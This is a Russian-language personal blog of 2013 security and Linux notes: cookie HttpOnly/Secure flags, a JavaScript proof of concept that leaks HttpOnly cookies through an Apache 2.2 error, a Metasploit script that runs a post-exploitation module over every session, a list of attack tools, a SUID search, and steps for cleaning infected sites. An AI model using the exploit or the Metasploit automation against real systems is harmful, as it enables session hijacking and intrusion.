вторник, 16 июля 2013 г.

Флаги cookie - скажи нет XSS

Запретить чтение cookie через javascrpt

HttpOnly позволит передавать куки только в заголовках, это запретит их чтение через javascrpt
Set-Cookie: MyCookieName=The value of my cookie; path=/; HttpOnly

Кофиг для сервера:
 
<httpCookies httpOnlyCookies="true"/> 
 
 
Передача cookie через ssl (если соединение не ssl, то cookie не передаются:

Set-Cookie: MyCookieName=The value of my cookie; path=/; secure

Кофиг для сервера:
 
<httpCookies requireSSL="true" />

Сервис определения флагов cookie. https://asafaweb.com/

Exploit 1

Используем метод TRACE. Сервер ответит тем же запросом, который отправил клиент.


Exploit 2
  • Affected versions: 2.2.0 - 2.2.21
  • Risk: moderately critical (xss needed)
 
Суть эксплойта: если сайт на Apache 2.2.0 - 2.2.21 и содержимое заголовков 
HTTP-Header слишком большое, 
то сервер отвечает ошибкой с номером 400, отправляя вместе с ответом 
содержимое заголовка.
<?php
header("Set-Cookie: SESSIONID=ImAhttpOnlyCookie; path=/; httponly");
?>
<script type="text/javascript">
var today = new Date();
var expire = new Date();
expire.setTime(today.getTime() + 2000);
gotCookie=false;
padding="";
for (j=0;j<=1000;++j) {
    padding+="A";
}
for (i=0;i < 10; ++i) {
    document.cookie="z"+i+"="+padding+"; expires="+expire.toGMTString()+"; 
path=/;"
}

function handler() {
    if (!gotCookie && this.responseText.length > 1) {
 text = /(SESSIONID=[^;]*)/i.exec(this.responseText);
 alert(text[1]);
 gotCookie=true;
    }
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = handler;
xhr.open("GET", "/httponly.php");
xhr.send();
</script>

Metasploit multisession

Если мы проникли сразу на несколько машин, чтобы не писать команды в каждой из полученных сессий, мы можем воспользоваться радостями доступа к Ruby прямо из консоли MSF, запустив постмодуль сразу во всех сессиях:

msf> use post/windows/gather/enum_domain_tokens
msf enum_domain_tokens> irb
framework.sessions.each_key do |session|
run_single(«set SESSION #{session}»)
print_status(«Running #{active_module.fullname}
against #{session}»)
run_single(«run»)
sleep 1
end

Код получился тяжеловатым, но мы можем вписать его в rc-файл и при необходимости запускать с помощью следующих команд:

msf> use post/windows/gather/enum_domain_tokens
msf enum_domain_tokens> resource runall.rc

You use the POST module, drop to IRB and run those 4 lines, and bam, you win. With resource files we can automate this a bit more and have it so that we do this effortlessly with any post module.

framework.sessions.each do |session|
  run_single("set SESSION #{session.first}")
  print_status("Running #{active_module.fullname} against session #{session.first}")
  run_single("run")
  sleep 1
end

A commenter noticed an error in the coding for cross compatibility. The following should work better across versions:

framework.sessions.each_key do |session|
  run_single("set SESSION #{session}")
  print_status("Running #{active_module.fullname} against session #{session}")
  run_single("run")
  sleep 1
end


Soft

PsExec

Scapy


Wi-Fi

Aircrack-ng

Reaver

Локальные сети:

ettercap


dsploit - Утилита для проникновения и проведения анализа мобильных сетей Android-устройств.

Реверс flash - swfretools

BVScanner (Black Vlastelin Scanner) - поиск  adsl роутеров.

понедельник, 15 июля 2013 г.

Пользовательская маска umask

Пользовательская маска — это число, которое отнимается от прав доступа по умолчанию. Получившиеся в результате вычитания права доступа применяются к создаваемому файлу.

Для просмотра текущего значения и изменения маски используется встроенная в оболочку команда umask. 

#umask 0077

После выхода пользователя из системы и входа обратно будет использоваться значение макси по умолчанию. Для того, чтобы новое значение маски не пропадало, добавьте команду umask 0077 в любую строку файла .bash_profile (в SuSE Linux надо использовать файл .profile), находящегося в домашней директории пользователя.

t-бит и chmod

Таким образом, команда chmod 755 это всего
   лишь краткая запись полной формы команды: chmod 0755.
   
   t-бит обычно используется с каталогами.
   
   Обычно, когда t-бит для каталога не установлен, файл в данном каталоге
   может удалить любой пользователь, имеющий доступ на запись к данному
   файлу. Устанавливая t-бит на каталог мы меняем это правило таким
   образом, что удалить файл из каталога может только владелец этого
   каталога или файла.
   
   Установить t-бит можно при помощи команд chmod a+tw somefile или chmod
   1777 somefile.

Как найти все SUID программы на машине


Все SUID и SGID программы:
find / \( -perm -04000 -o -perm -02000 \) -exec ls -ald {} \;
Только SUID ROOT:
find /sbin \( -perm -04000 -a -user 0 \) -exec ls -ald {} \;
find / -type f -perm +6000 -exec ls -l {} \; 


воскресенье, 14 июля 2013 г.

Вирус на сайте. Первые действия.

1. Заглянуть в файл .htaccess — в нем могут быть добавлены перенаправления на другие сайты, распространяющие вирус.

2. Ищем недавно измененные файлы :

# find ./public_html -mtime -3d
# find ./public_html -mtime -10h 

3. Поиск кодировки base64

# find ./ -name '*.php' | xargs grep -E '[0-9a-zA-Z/]{80}'
Убьем сразу двух зайцев, объединив поиск .php и .html файлов. По умолчанию все аргументы соединены с помощью логического и (опция '-a'). Если необходимо объединить несколько аргументов логическим или — используем опцию '-o'.
# find ./ \( -name '*.php' -o -name '*.html' \)| xargs grep -E '[0-9a-zA-Z/]{80}'

4. Далее, если известно время - смотрим логи: #grep time.

Некоторые хитрецы делают так:
<?php
ob_start();
include('./exploit.jpg');
ob_end_clean();
?> 
или прячут шеллы в JPG EXIF - http://xakep.ru/post/60928/default.asp
Но они даже не подозревают, что все это находится банальным грепом.

Разукрашиваем консоль bash

Добавить в bashrc:

COLOR1="\[\033[1;31;40m\]" #красный
COLOR2="\[\033[1;0;32m\]" #green
COLOR3="\[\033[1;37;40m\]" #белый
PS1="$COLOR1\u@\h: $COLOR2\w \$ $COLOR3"

ASCII графика в Linux

Знакомьтесь - утилита figlet - она генерирует ascii текст в терминале.

8 888888888o.            .8.          8 888888888o.   8 8888     ,88'
8 8888    `^888.        .888.         8 8888    `88.  8 8888    ,88'
8 8888        `88.     :88888.        8 8888     `88  8 8888   ,88'
8 8888         `88    . `88888.       8 8888     ,88  8 8888  ,88'
8 8888          88   .8. `88888.      8 8888.   ,88'  8 8888 ,88'
8 8888          88  .8`8. `88888.     8 888888888P'   8 8888 88'
8 8888         ,88 .8' `8. `88888.    8 8888`8b       8 888888<
8 8888        ,88'.8'   `8. `88888.   8 8888 `8b.     8 8888 `Y8.
8 8888    ,o88P' .888888888. `88888.  8 8888   `8b.   8 8888   `Y8.
8 888888888P'   .8'       `8. `88888. 8 8888     `88. 8 8888     `Y8.

`8.`888b                 ,8' .8.   `8.`8888.      ,8'
 `8.`888b               ,8' .888.   `8.`8888.    ,8'
  `8.`888b             ,8' :88888.   `8.`8888.  ,8'
   `8.`888b     .b    ,8' . `88888.   `8.`8888.,8'
    `8.`888b    88b  ,8' .8. `88888.   `8.`88888'
     `8.`888b .`888b,8' .8`8. `88888.   `8. 8888
      `8.`888b8.`8888' .8' `8. `88888.   `8 8888
       `8.`888`8.`88' .8'   `8. `88888.   8 8888
        `8.`8' `8,`' .888888888. `88888.  8 8888
         `8.`   `8' .8'       `8. `88888. 8 8888 

Разукрашиваем MAN


# yum install most
add to bash profile (/etc/bashrc):
export MANPAGER="/usr/bin/most" 
# source /etc/bashrc